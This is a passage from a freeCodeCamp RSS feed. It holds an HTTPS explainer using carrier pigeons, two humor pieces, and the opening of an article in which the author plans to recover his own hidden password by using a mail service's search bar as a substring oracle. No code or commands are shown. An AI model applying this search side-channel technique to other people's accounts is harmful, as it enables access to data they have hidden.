                    <![CDATA[ By Andrea Zanin Korean translationPortuguese translationSpanish translationMongolian translationPersian translationVietnamese translation Cryptography can be a hard subject to understand. It’s full of mathematical proofs. But unless you are actually ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/https-explained-with-carrier-pigeons-7029d2193351/</link>
                <guid isPermaLink="false">66c356fd0cede4e9b1329c7c</guid>
                
                    <category>
                        <![CDATA[ Cryptography ]]>
                    </category>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ messaging ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Wed, 10 Jan 2018 22:07:10 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*vHF6NNdZX9ziiW_uRYzvAA.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Andrea Zanin</p>
<p><a target="_blank" href="https://www.vobour.com/%EB%B9%84%EB%91%98%EA%B8%B0%EB%A1%9C-%EC%84%A4%EB%AA%85%ED%95%98%EB%8A%94-https-https-explained-with-car">Korean translation</a><br><a target="_blank" href="https://medium.com/inpaas/explicando-https-com-pombos-correio-68270a5b0c28">Portuguese translation</a><br><a target="_blank" href="https://www.transparentcdn.com/https-explicado-palomas-mensajeras/">Spanish translation</a><br><a target="_blank" href="https://medium.com/unimediasolutions/https-ыг-шууданч-тагтаагаар-адилтган-тайлбарлах-нь-f094d38a7dc5">Mongolian translation</a><br><a target="_blank" href="https://virgool.io/@raminpay/https-explained-hkxu4qmijmfc">Persian translation</a><br><a target="_blank" href="https://blogchanhday.com/p/nhat-ky-anh-bo-cau-dua-thu-va-https/">Vietnamese translation</a></p>
<p>Cryptography can be a hard subject to understand. It’s full of mathematical proofs. But unless you are actually developing cryptographic systems, much of that complexity is not necessary to understand what is going on at a high level.</p>
<p>If you opened this article hoping to create the next HTTPS protocol, I’m sorry to say that pigeons won’t be enough. Otherwise, brew some coffee and enjoy the article.</p>
<h3 id="heading-alice-bob-and-pigeons">Alice, Bob and … pigeons?</h3>
<p>Any activity you do on the Internet (reading this article, buying stuff on Amazon, uploading cat pictures) comes down to sending and receiving messages to and from a server.</p>
<p>This can be a bit abstract so let’s imagine that those messages were delivered by <strong>carrier pigeons</strong>. I know that this may seem very arbitrary, but trust me HTTPS works the same way, albeit a lot faster.</p>
<p>Also instead of talking about servers, clients and hackers, we will talk about Alice, Bob and Mallory. If this isn’t your first time trying to understand cryptographic concepts you will recognize those names, because they are widely used in technical literature.</p>
<h3 id="heading-a-first-naive-communication">A first naive communication</h3>
<p>If Alice wants to send a message to Bob, she attaches the message on the carrier pigeon’s leg and sends it to Bob. Bob receives the message, reads it and it’s all is good.</p>
<p>But what if Mallory intercepted Alice’s pigeon in flight and changed the message? Bob would have no way of knowing that the message that was sent by Alice was modified in transit.</p>
<p>This is how <strong>HTTP</strong> works. Pretty scary right? I wouldn’t send my bank credentials over HTTP and neither should you.</p>
<h3 id="heading-a-secret-code">A secret code</h3>
<p>Now what if Alice and Bob are very crafty. They agree that they will write their messages using a secret code. They will shift each letter by 3 positions in the alphabet. For example D → A, E → B, F → C. The plain text message “secret message” would be “pbzobq jbppxdb”.</p>
<p>Now if Mallory intercepts the pigeon she won’t be able to change the message into something meaningful nor understand what it says, because she doesn’t know the code. But Bob can simply apply the code in reverse and decrypt the message where A → D, B → E, C → F. The cipher text “pbzobq jbppxdb” would be decrypted back to “secret message”.</p>
<p>Success!</p>
<p>This is called <strong>symmetric key cryptography</strong>, because if you know how to encrypt a message you also know how to decrypt it.</p>
<p>The code I described above is commonly known as the <strong>Caesar cipher</strong>. In real life, we use fancier and more complex codes, but the main idea is the same.</p>
<h3 id="heading-how-do-we-decide-the-key">How do we decide the key?</h3>
<p>Symmetric key cryptography is very secure if no one apart from the sender and receiver know what key was used. In the Caesar cipher, the <strong>key is an offset</strong> of how many letters we shift each letter by. In our example we used an offset of 3, but could have also used 4 or 12.</p>
<p>The issue is that if Alice and Bob don’t meet before starting to send messages with the pigeon, they would have no way to establish a key securely. If they send the key in the message itself, Mallory would intercept the message and discover the key. This would allow Mallory to then read or change the message as she wishes before and after Alice and Bob start to encrypt their messages.</p>
<p>This is the typical example of a <strong>Man in the Middle Attack</strong> and the only way to avoid it is to change the encryption system all together.</p>
<h3 id="heading-pigeons-carrying-boxes">Pigeons carrying boxes</h3>
<p>So Alice and Bob come up with an even better system. When Bob wants to send Alice a message she will follow the procedure below:</p>
<ul>
<li>Bob sends a pigeon to Alice without any message.</li>
<li>Alice sends the pigeon back carrying a box with an open lock, but keeping the key.</li>
<li>Bob puts the message in the box, closes the locks and sends the box to Alice.</li>
<li>Alice receives the box, opens it with the key and reads the message.</li>
</ul>
<p>This way Mallory can’t change the message by intercepting the pigeon, because she doesn’t have the key. The same process is followed when Alice wants to send Bob a message.</p>
<p>Alice and Bob just used what is commonly known as <strong>asymmetric key cryptography</strong>. It’s called asymmetric, because even if you can encrypt a message (lock the box) you can’t decrypt it (open a closed box).<br>In technical speech the box is known as the <strong>public key</strong> and the key to open it is known as the <strong>private key</strong>.</p>
<h3 id="heading-how-do-i-trust-the-box">How do I trust the box?</h3>
<p>If you paid attention you may have noticed that we still have a problem. When Bob receives that open box how can he be sure that it came from Alice and that Mallory didn’t intercept the pigeon and changed the box with one she has the key to?</p>
<p>Alice decides that she will sign the box, this way when Bob receives the box he checks the signature and knows that it was Alice who sent the box.</p>
<p>Some of you may be thinking, how would Bob identify Alice’s signature in the first place? Good question. Alice and Bob had this problem too, so they decided that, instead of Alice signing the box, Ted will sign the box.</p>
<p>Who is Ted? Ted is a very famous, well known and trustworthy guy. Ted gave his signature to everyone and everybody trusts that he will only sign boxes for legitimate people.</p>
<p>Ted will only sign an Alice box if he’s sure that the one asking for the signature is Alice. So Mallory cannot get an Alice box signed by Ted on behalf of her as Bob will know that the box is a fraud because Ted only signs boxes for people after verifying their identity.</p>
<p>Ted in technical terms is commonly referred to as a <strong>Certification Authority</strong> and the browser you are reading this article with comes packaged with the signatures of various Certification Authorities.</p>
<p>So when you connect to a website for the first time you trust its box because you trust Ted and Ted tells you that the box is legitimate.</p>
<h3 id="heading-boxes-are-heavy">Boxes are heavy</h3>
<p>Alice and Bob now have a reliable system to communicate, but they realize that pigeons carrying boxes are slower than the ones carrying only the message.</p>
<p>They decide that they will use the box method (asymmetric cryptography) only to choose a key to encrypt the message using symmetric cryptography with (remember the Caesar cipher?).</p>
<p>This way they get the best of both worlds. The reliability of asymmetric cryptography and the efficiency of symmetric cryptography.</p>
<p>In the real world there aren’t slow pigeons, but nonetheless encrypting messages using asymmetric cryptography is slower than using symmetric cryptography, so we only use it to exchange the encryption keys.</p>
<p>Now you know how <strong>HTTPS</strong> works and your coffee should also be ready. Go drink it you deserved it ?</p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ Every JavaScript framework tutorial written more than 5 minutes ago ]]>
                </title>
                <description>
                    <![CDATA[ By Roger Collier Roger opened the Medium app on his phone and looked for something interesting to read. He scrolled past articles about how to be more creative. He scrolled past articles about how to be a mega-successful entrepreneur. He scrolled pas... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/every-javascript-framework-tutorial-written-more-than-5-minutes-ago-f96642d4f05/</link>
                <guid isPermaLink="false">66d460c69f2bec37e2da0666</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ JavaScript ]]>
                    </category>
                
                    <category>
                        <![CDATA[ learning ]]>
                    </category>
                
                    <category>
                        <![CDATA[ General Programming ]]>
                    </category>
                
                    <category>
                        <![CDATA[ self-improvement  ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Fri, 08 Sep 2017 19:54:02 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*vw_IFvZU5MVVb2-ZKiVvjA.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Roger Collier</p>
<p>Roger opened the Medium app on his phone and looked for something interesting to read. He scrolled past articles about how to be more creative. He scrolled past articles about how to be a mega-successful entrepreneur. He scrolled past articles about how to write way more gooder.</p>
<p>He was about to bounce over to Twitter when a headline caught his eye.</p>
<blockquote>
<p>Forget Angular. Forget React. Introducing Tupress, the ultimate JavaScript framework.</p>
</blockquote>
<p>Hmm, maybe it’s time to finally learn a framework, Roger thought. He had been dabbling in JavaScript for a few months. Why not see what all the framework fuss was about? After skimming the article — which included words like “intuitive” and “flexible” and “versatile” — Roger was sold.</p>
<p>He fired up his MacBook, Googled “Tupress tutorial” and opened the top result. The tutorial said it would teach him how to build a two-deux app. When completed, the app would accept a list of “twos” in English (2, 2, 2, 2, 2, 2) and convert it to French (le 2, le 2, le 2, le 2, le 2, le 2).</p>
<p>Step one, the tutorial said, was to install Tupress. Well, duh. Then Roger had to install Bistup — a lightweight wrapper, whatever that meant. After that, he had to install Claster, which provided a thin unopinionated layer of utility methods and middleware. He didn’t know what that meant either, but installed it anyway.</p>
<p>Finally, he had to install Pirend, a real-time RESTful API micro-service layer for implementing CRUD and AJAX using JSON. That must be important, thought Roger, or it wouldn’t have all those acronyms.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/v299B9aGThOY3qd8tdZ4GqElkMrgX9tHp1Z8" alt="Image" width="600" height="301" loading="lazy">
_Installing all the things (credit: [tutsplus](https://webdesign.tutsplus.com/articles/why-i-choose-stylus-and-you-should-too--webdesign-18412" rel="noopener" target="<em>blank" title="))</em></p>
<p>Now that everything was installed, Roger was excited to start writing some code. But there were a few more steps before he could do that, according to the tutorial. First, he had to install Git, provision a cloud-based database, create a RESTful API server, implement API endpoints, update dependencies, and set up a component-based project structure.</p>
<p>“Yeesh,” yeeshed Roger. That sounds awfully complicated. But I already installed a bajillion things, Roger thought. Can’t quit now.</p>
<p>Two weeks and 179 Google searches later, Roger finally figured out how to get everything set up. He opened a terminal window and typed “tupr start.” Then he opened Chrome and navigated to localhost:3000. According to the tutorial, he should have seen “Tupress works!”</p>
<p>Instead, Roger saw … nothing. A whole lot of nothing. Tupress, sadly, was not working.</p>
<p>“Sigh,” sighed Roger. To figure out what had gone wrong, Roger opened the console in Chrome developer tools. “Yikes,” yiked Roger. What a bloodbath. More red than a <em>Game of Thrones</em> wedding.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/o6U8kLL7iSyz30SkbGkgFyuNps7GOFITT0aV" alt="Image" width="800" height="458" loading="lazy">
_This looks … not good (credit: [Stack Overflow](https://stackoverflow.com/questions/42871478/masses-of-500-internal-server-error-in-console-chrome" rel="noopener" target="<em>blank" title="))</em></p>
<p>“I just want to write a bit of code and make a simple app,” Roger thought. It shouldn’t be this hard.</p>
<p>Still, he didn’t quit. He cut and pasted each and every console error into Google. He discovered on Stack Overflow that the month-old tutorial used Tupress version 1.3.2, Bistup version 1.2.1, Claster version 3.7.2, and Pirend version 4.2.1.</p>
<p>Roger, on the other hand, had installed the latest versions of each, and they no longer played nice together. Also, Tupress 5 just came out and was completely different than Tupress 1 (there was no Tupress 2, 3 or 4).</p>
<p>On another programming forum, Roger learned that Bistup had fallen out of favor with most developers. It was not lightweight enough. Oh, and Claster wasn’t nearly as thin as promised, apparently. So a developer in Switzerland created an alternative (Focrux.js) that was much better.</p>
<p>Seven weeks later, after uninstalling and reinstalling everything multiple times, reading all of Stack Overflow, watching every YouTube video on JavaScript frameworks, and reading all 13 volumes of <em>You Don’t Know S**t about Tupress</em>, Roger had a Chrome console free of errors.</p>
<p>“Oh yeah,” Roger oh-yeahed.</p>
<p>He opened a terminal window, typed <code>tupr start</code> and started <code>localhost:3000</code>, where, finally, at long last, he saw:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/oDyr0l7pELX0McBNDvsXjIF3tKMhfIdUgzUT" alt="Image" width="800" height="500" loading="lazy">
_(credit: [baserails](https://www.baserails.com/blog/debugging-5-common-localhost-errors/" rel="noopener" target="<em>blank" title="))</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ What if companies interviewed translators the way they interview coders? ]]>
                </title>
                <description>
                    <![CDATA[ By Jose Aguinaga Candidate: Is this the right place for the interview? HR Person: Yes, good morning Ms. Smith, please take a seat, we were expecting you. I understand you are applying for the job of Senior Technical Translator. Is that correct? That ... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/welcome-to-the-software-interview-ee673bc5ef6/</link>
                <guid isPermaLink="false">66c3651b1917b5c625ae4b1b</guid>
                
                    <category>
                        <![CDATA[ careers ]]>
                    </category>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ startup ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ technology ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Tue, 06 Jun 2017 15:51:21 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*kx6KdhaaGWHini5tuAHNmQ.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Jose Aguinaga</p>
<p><strong>Candidate:</strong> Is this the right place for the interview?</p>
<p><strong><em>HR Person</em></strong><em>: Yes, good morning Ms. Smith, please take a seat, we were expecting you. I understand you are applying for the job of Senior Technical Translator. Is that correct?</em></p>
<p>That is correct. I speak French, Spanish, Italian, and German, and have done translations of both technical and academic documents for the past 7 years. I’m currently focusing in translating medical papers, but I’ve done all sort of translations as you can see in my profile.</p>
<p><em>That’s great. You seem to have all the requirements and experience for the position. Now, as usual, we would like to test your knowledge on some of your understanding of Linguistics, just to make sure you have the basics.</em></p>
<p>I understand you are looking for someone to translate manuals and labels for pharmaceutical products, correct?</p>
<p><em>Indeed. We are looking only for the best A players, who have a strong foundation in all the required aspects of the job.</em></p>
<p>Right. So… should we get started?</p>
<p><em>Yes, let’s get started, here I have some introductory questions tailored for the position. Question number one: how did the Arabic invasion in the Iberian Peninsula between the years of 711 and 1492 affected the Spanish language?</em></p>
<p>I’m sorry?</p>
<p><em>Do you want me to repeat the question? Here it goes again, how did the Muslim invasion in the Iberian Peninsula–</em></p>
<p>No, it’s fine, it just took me by surprise, was expecting something more related to the job in question, but I actually know that. Due to the Islamic Conquest of Hispania in the early VII century, and the presence of Arabic speaking individuals in the south of Spain until the Reconquista, the Spanish language acquired and adapted many words from the Arabic language. For instance, the word in Spanish for chess, “ajedrez” comes from الشطرنج (ash shatranj).</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/HgPZM0TYxjr9eZzs9qPgZg7lMpGQa9FfYPUy" alt="Image" width="600" height="544" loading="lazy">
_History of the Spanish Language, just in case you need it for your next interview — credits to [Wikipedia](https://en.wikipedia.org/wiki/History_of_the_Spanish_language" rel="noopener" target="<em>blank" title=")</em></p>
<p><em>Excellent answer, exactly what I have here in my questionnaire, you got extra points for even giving an example. Second question: this author created “Colorless green ideas sleep furiously”, as an example of a grammatically correct sentence that is semantically nonsensical.</em></p>
<p>Is that a question?</p>
<p><em>Yes, of course.</em></p>
<p>I’m sorry, I just didn’t notice we were doing Jeopardy. Noam Chomsky?</p>
<p><em>Great, in which book did he write this example?</em></p>
<p>What? I have no idea, I studied Chomsky when I was back in college, now I focus mostly in translations which require no–</p>
<p><em>That’s a pity. It’s Syntactic Structures, written in 1957. Oh well, actually we only have most new grads being able to answer that part.</em></p>
<p>I wonder why…</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/00jvEcXJIjAWLiuK5kvPxFDupfZyhe5r71ia" alt="Image" width="504" height="432" loading="lazy">
_If you invert the following tree, it will still make no sense — credits to [Wikipedia](https://en.wikipedia.org/wiki/Colorless_green_ideas_sleep_furiously#/media/File:Syntax_tree.svg" rel="noopener" target="<em>blank" title=")</em></p>
<p><em>Right. So next question: the words “pater”, “father”, “Vater”, are from Latin, English, and German respectively; we can see in some cases the “p” evolved to a “v”, but in others evolved to a “f”. The words “piscis”, “fish”, and “Fisch”, in the other hand–</em></p>
<p>I’m very sorry to interrupt you, but before we go on, can I ask what these question have to do with the actual job? The job description said you were looking for a Technical Translator, and so far you haven’t tested any of my translating abilities and instead focused only in Linguistics.</p>
<p><em>Yes, I can see the confusion. You see, we are looking for the very best Translators, and it has been proven by major companies that the people that are able to do the job best have a very solid foundation in the science translation is based in, such as Linguistics and Classics.</em></p>
<p>For sure, I have a Bachelor’s degree in Latin and Ancient Greek and Master’s Degree in Linguistics, but I haven’t done any of academical work in the past years.</p>
<p><em>Oh, so you DO have the qualifications to answer these questions.</em></p>
<p>Yes, but I haven’t done any research or work in the past years that requires THAT specific knowledge. Are you doing any research or improvement on any specific field that requires deep knowledge in Linguistics?</p>
<p><em>No, we do pharmaceutical translations for our clients.</em></p>
<p>Great, so why don’t we test my abilities for translating instead? I’m pretty sure you have a few examples there that I could translate right?</p>
<p><em>Oh yes, good idea, let’s pass to the written exercises then. Please follow me to the following whiteboard, and grab a marker, we are going to do a few translation exercises to assess your skills.</em></p>
<p>Whiteboard?</p>
<p><em>Yes, here’s the following text, please translate:</em></p>
<blockquote>
<p>ΠΕΡΙ ΤΟΥ ΠΑΙΔΟΣ ΤΟΥ ΕΠΙΒΙΟΝΤΟΣ</p>
</blockquote>
<p>…that’s Ancient Greek.</p>
<p><em>Yes, that’s right.</em></p>
<p>Do you need to do translations from Ancient Greek for the job?</p>
<p><em>Haha, of course not.</em></p>
<p>Then, why… you know what, forget it, let’s do this. Do you have a Dictionary I could borrow for a second to translate?</p>
<p><em>Oh, the goal of the exercise is to be able to translate it directly, here in the whiteboard and nothing else. If you need though, you can use pencil and paper.</em></p>
<p>Wait, what? Why? Even for normal translations I always have a Dictionary to support me for a word or two, why would you test Ancient Greek and not have an Ancient Greek dictionary at hand?</p>
<p><em>Right, studies from major companies have shown that–</em></p>
<p>Forget it. Just give me a second ok? I think I recognize that text from somewhere. Let me… “the kid who lived?”</p>
<p><em>Yes! Great work!</em></p>
<p>Is that… is that from Harry Potter?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/Y85OsjzjAKjZxbOjvRU-NV8fjFSROSpRZj3E" alt="Image" width="306" height="475" loading="lazy">
_You know, in case you want to brush up your Ancient Greek — credit to [Amazon](https://www.amazon.com/Harry-Potter-Philosophers-Stone-Ancient/dp/158234826X" rel="noopener" target="<em>blank" title=")</em></p>
<p><em>Oh, no, that’s from the answer sheet in the “Cracking the Translating Interview: 150 Linguistic Questions and Solutions.”</em></p>
<p>No, I mean, that IS from the Harry Potter book, chapter 1. That’s the title.</p>
<p><em>How would I know? I’m not a translator.</em></p>
<p>I know, I’m just pointing out the fact that it’s from a very well known text, and probably easy to recognize for people.</p>
<p><em>Right, but that’s good isn’t it? It means people prepared for interview questions like these.</em></p>
<p>Yeah, scripted interview questions. Look, I’m really not comfortable answering questions on the spot, I usually have some time to figure out the best way to do a translation.</p>
<p><em>I see. Well, there are other things we are looking in the candidates we are willing to hire. Have you won any trans-comps?</em></p>
<p>I beg your pardon?</p>
<p><em>Yeah, you know, trans-comps, Translation Competitions. Those were you put a bunch of documents in Sanskrit, throw some beverages and pizza, and invite translators everywhere to lock themselves down for 48 hours to see who can translate those the fastest. Sometimes they add free prizes to spice things up. Have you ever won any of those?</em></p>
<p>No, I haven’t done any “translation competitions”.</p>
<p><em>That’s a shame, we are really looking for trans-comps winners.</em></p>
<p>Please stop saying trans-comps.</p>
<p><em>Ok, by the way, how are your calligraphy skills?</em></p>
<p>My calligraphy skills?</p>
<p><em>Yes, I mean, you know that we are a big company, but our team works as an independent startup, so sometimes we not only have our translators do the translation, but also do some writing as well, and the perfect candidate would have excellent calligraphy.</em></p>
<p>So you just want the same person do the job of two people? What else are you looking in a candidate, someone to package the products as well?</p>
<p><em>Yes! We call those full-package translators.</em></p>
<p>Sigh… you mentioned something about the team working as a startup? What is that suppose to mean?</p>
<p><em>It means we do Agile. Everything is in a flat structure, except when it comes to salary and responsibilities. We have a Translator Master, that coordinates all the other Translators in Sprints.</em></p>
<p>Translator Master? That sounds fancy. How many languages does the Translator Master speak? Do we get assistance from him if we are stuck in a translation or anything?</p>
<p><em>Oh, he actually only speaks English, and well, sometimes we don’t understand him very well. He’s Australian, so his accent is hard to grasp sometimes, but hey, he’s Agile certified, really good organising other people, and keeping track of what everyone’s translating.</em></p>
<p>You can’t be serious. You are asking me about Ancient Greek in an interview, and my manager wouldn’t be able to even know what that is? Can you give me a good reason on why this is a good company to work for?</p>
<p><em>Well, here you will learn things you can’t learn in any other company, while still making a great impact in the world. You’ll do something meaningful, and you will never be bored. It’s an ultra high growth environment with multiple opportunities for rapid development in many areas.</em></p>
<p>… you translate labels for pharmaceutical products.</p>
<p><em>Yes, we are changing the world, one label at a time.</em></p>
<p><em>Note to self: when we send a rejection letter to this candidate, be sure to include feedback that is too vague to be of any use to them, but will avoid any lawsuits.</em></p>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ That time I had to crack my own Reddit password ]]>
                </title>
                <description>
                    <![CDATA[ By Haseeb Qureshi (Kinda.) Hack the planet, everybody. I have no self-control. Luckily, I know this about myself. This allows me to consciously engineer my life so that despite having the emotional maturity of a heroin-addicted lab rat, I’m occasion... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/the-time-i-had-to-crack-my-own-reddit-password-a6077c0a13b4/</link>
                <guid isPermaLink="false">66c362969539e75f2cc24a4d</guid>
                
                    <category>
                        <![CDATA[ humor ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Ruby ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Security ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Web Development ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 06 Apr 2017 07:04:21 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*ZAFlM8eSiuGVRo9P-8L6MQ.jpeg" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Haseeb Qureshi</p>
<h4 id="heading-kinda">(Kinda.)</h4>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*ZAFlM8eSiuGVRo9P-8L6MQ.jpeg" alt="Image" width="800" height="599" loading="lazy">
<em>Hack the planet, everybody.</em></p>
<p>I have no self-control.</p>
<p>Luckily, I know this about myself. This allows me to consciously engineer my life so that despite having the emotional maturity of a heroin-addicted lab rat, I’m occasionally able to get things done.</p>
<p>I waste a lot of time on Reddit. If I want to procrastinate on something, I’ll often open a new tab and dive down a Reddit-hole. But sometimes you need to turn on the blinders and dial down distractions. 2015 was one of these times — I was singularly focused on improving as a programmer, and Redditing was becoming a liability.</p>
<p>I needed an abstinence plan.</p>
<p>So it occurred to me: how about I lock myself out of my account?</p>
<p><strong>Here’s what I did:</strong></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*8Zpw3ipnu92ehqA_6T-o8w.gif" alt="Image" width="655" height="596" loading="lazy"></p>
<p>I set a random password on my account. Then I asked a friend to e-mail me this password on a certain date. With that, I’d have a foolproof way to lock myself out of Reddit. (Also changed the e-mail for password recovery to cover all the bases.)</p>
<p>This should have worked.</p>
<p>Unfortunately it turns out, friends are very susceptible to social engineering. The technical terminology for this is that they are “nice to you” and will give you back your password if you “beg them.”</p>
<p>After a few rounds of this failure mode, I needed a more robust solution. A little Google searching, and I came across this:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*iMtDCzvNYVF9UOeiIbU7Ww.png" alt="Image" width="800" height="265" loading="lazy"></p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*7QCLp-4HnnDwgj1FSnRstw.png" alt="Image" width="468" height="162" loading="lazy">
<em>Looks legit.</em></p>
<p>Perfect — an automated, friend-less solution! (I’d alienated most of them by now, so that was a big selling point.)</p>
<p>A bit sketchy looking, but hey, any port in a storm.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*TOUIDOIRHiVySUWt46n3mw.gif" alt="Image" width="800" height="545" loading="lazy"></p>
<p>For a while I set this up this routine — during the week I’d e-mail myself my password, on the weekends I’d receive the password, load up on internet junk food, and then lock myself out again once the week began. It worked quite well from what I remember.</p>
<p>Eventually I got so busy with programming stuff, I completely forgot about it.</p>
<h3 id="heading-cut-to-two-years-later"><strong>Cut to two years later.</strong></h3>
<p>I’m now gainfully employed at Airbnb. And Airbnb, it so happens, has a large test suite. This means waiting, and waiting of course means internet rabbit holes.</p>
<p>I decide to scrounge up my old account and find my Reddit password.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*sAr_MYJtJVkNq6uHiVQxtQ.gif" alt="Image" width="800" height="442" loading="lazy"></p>
<p>Oh no. That’s not good.</p>
<p>I didn’t remember doing this, but I must have gotten so fed up with myself that <strong>I locked myself out until 2018</strong>. I also set it to “hide,” so I couldn’t view the contents of the e-mail until it’s sent.</p>
<p>What do I do? Do I just have to create a new Reddit account and start from scratch? But that’s <em>so much work.</em></p>
<p>I could write in to LetterMeLater and explain that I didn’t mean to do this. But they would probably take a while to get back to me. We’ve already established I’m wildly impatient. Plus this site doesn’t look like it has a support team. Not to mention it would be an embarrassing e-mail exchange. I started brainstorming elaborate explanations involving dead relatives about why I needed access to the e-mail…</p>
<p>All of my options were messy. I was walking home that night from the office pondering my predicament, when suddenly it hit me.</p>
<p><strong>The search bar.</strong></p>
<p>I pulled up the app on my mobile phone and tried it:</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*DvLUtm_ZGOaTGKy1bOuyYQ.gif" alt="Image" width="800" height="510" loading="lazy"></p>
<p>Hmm.</p>
<p>Okay. So it’s indexing the subject for sure. What about the body?</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*esw6gkV0G-M1JKaPAqipLA.gif" alt="Image" width="800" height="510" loading="lazy"></p>
<p>I try a few letters, and voila. It’s definitely got the body indexed. Remember: the body consisted entirely of my password.</p>
<p><em>Essentially, I’ve been given an interface to perform substring queries.</em> By entering in a string into the search bar, the search results will confirm whether my password contains this substring.</p>
<p><strong>We’re in business.</strong></p>
<p>I hurry into my apartment, drop my bag, and pull out my laptop.</p>
<p>Algorithms problem: you are given a function <code>substring?(str)</code>, which returns true or false depending on whether a password contains any given substring. <em>Given this function, write an algorithm that can deduce the hidden password.</em></p>
<h3 id="heading-the-algorithm">The Algorithm</h3>
<p>So let’s think about this. A few things I know about my password: I know it was a long string with some random characters, probably something along the lines of <code>asgoihej2409g</code>. I <em>probably</em> didn’t include any upper-case characters (and Reddit doesn’t enforce that as a password constraint) so let’s assume for now that I didn’t — in case I did, we can just expand the search space later if the initial algorithm fails.</p>
<p>We also have a subject line as part of the string we’re querying. And we know the subject is “password”.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*XvaVCyWtSdqKSz59HKnNDw.png" alt="Image" width="800" height="400" loading="lazy"></p>
<p>Let’s pretend the body is 6 characters long. So we’ve got six slots of characters, some of which may appear in the subject line, some of which certainly don’t. So if we take all of the characters that aren’t in the subject and try searching for each of them, we know for sure we’ll hit a unique letter that’s in the password. Think like a game of Wheel of Fortune.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*LOzh--_Ujutrh_OKhjfNaw.png" alt="Image" width="687" height="99" loading="lazy"></p>
<p>We keep trying letters one by one until we hit a match for something that’s not in our subject line. Say we hit it.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*fdoVAq3t5naQ5G9yARr0RA.png" alt="Image" width="800" height="247" loading="lazy"></p>
<p>Once I’ve found my first letter, I don’t actually know where in this string I am. But I know I can start building out a bigger substring by appending different characters to the end of this until I hit another substring match.</p>
<p>We’ll potentially have to iterate through every character in our alphabet to find it. Any of those characters could be correct, so on average it’ll hit somewhere around the middle, so given an alphabet of size <code>A</code>, it should average out to <code>A/2</code> guesses per letter (let’s assume the subject is small and there are no repeating patterns of 2+ characters).</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*GJ5xKZzTe0F5un-Iz11pXg.png" alt="Image" width="800" height="316" loading="lazy"></p>
<p>I’ll keep building this substring until it eventually hits the end and no characters can extend it further.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*E9ri3Rf8LBPxUTjgs5BvPQ.png" alt="Image" width="800" height="316" loading="lazy"></p>
<p>But that’s not enough — most likely, there will be a prefix to the string that I missed, because I started in a random place. Easy enough: all I have to do is now repeat the process, except going backwards.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/1*F_n0WGRP_8RJdFtR-v0b1g.png" alt="Image" width="800" height="316" loading="lazy"></p>
<p>Once the process terminates, I should be able to reconstruct the password. In total, I’ll need to figure out<code>L</code> characters(where <code>L</code> is the length), and need to expend on average <code>A/2</code> guesses per character (where <code>A</code> is the alphabet size), so total guesses = <code>A/2 * L</code>.</p>
<p>To be precise, I also have to add another <code>2A</code> to the number of guesses for ascertaining that the string has terminated on each end. So the total is <code>A/2 * L + 2A</code>, which we can factor as <code>A(L/2 + 2)</code>.</p>
<p>Let’s assume we have 20 characters in our password, and an alphabet consisting of <code>a-z</code> (26) and <code>0–9</code> (10), so a total alphabet size of 36. So we’re looking at an average of <code>36 * (20/2 + 2) = 36 * 12 = 432</code> iterations.</p>
<p>Damn.</p>
<p>This is actually doable.</p>
<h3 id="heading-the-implementation">The Implementation</h3>
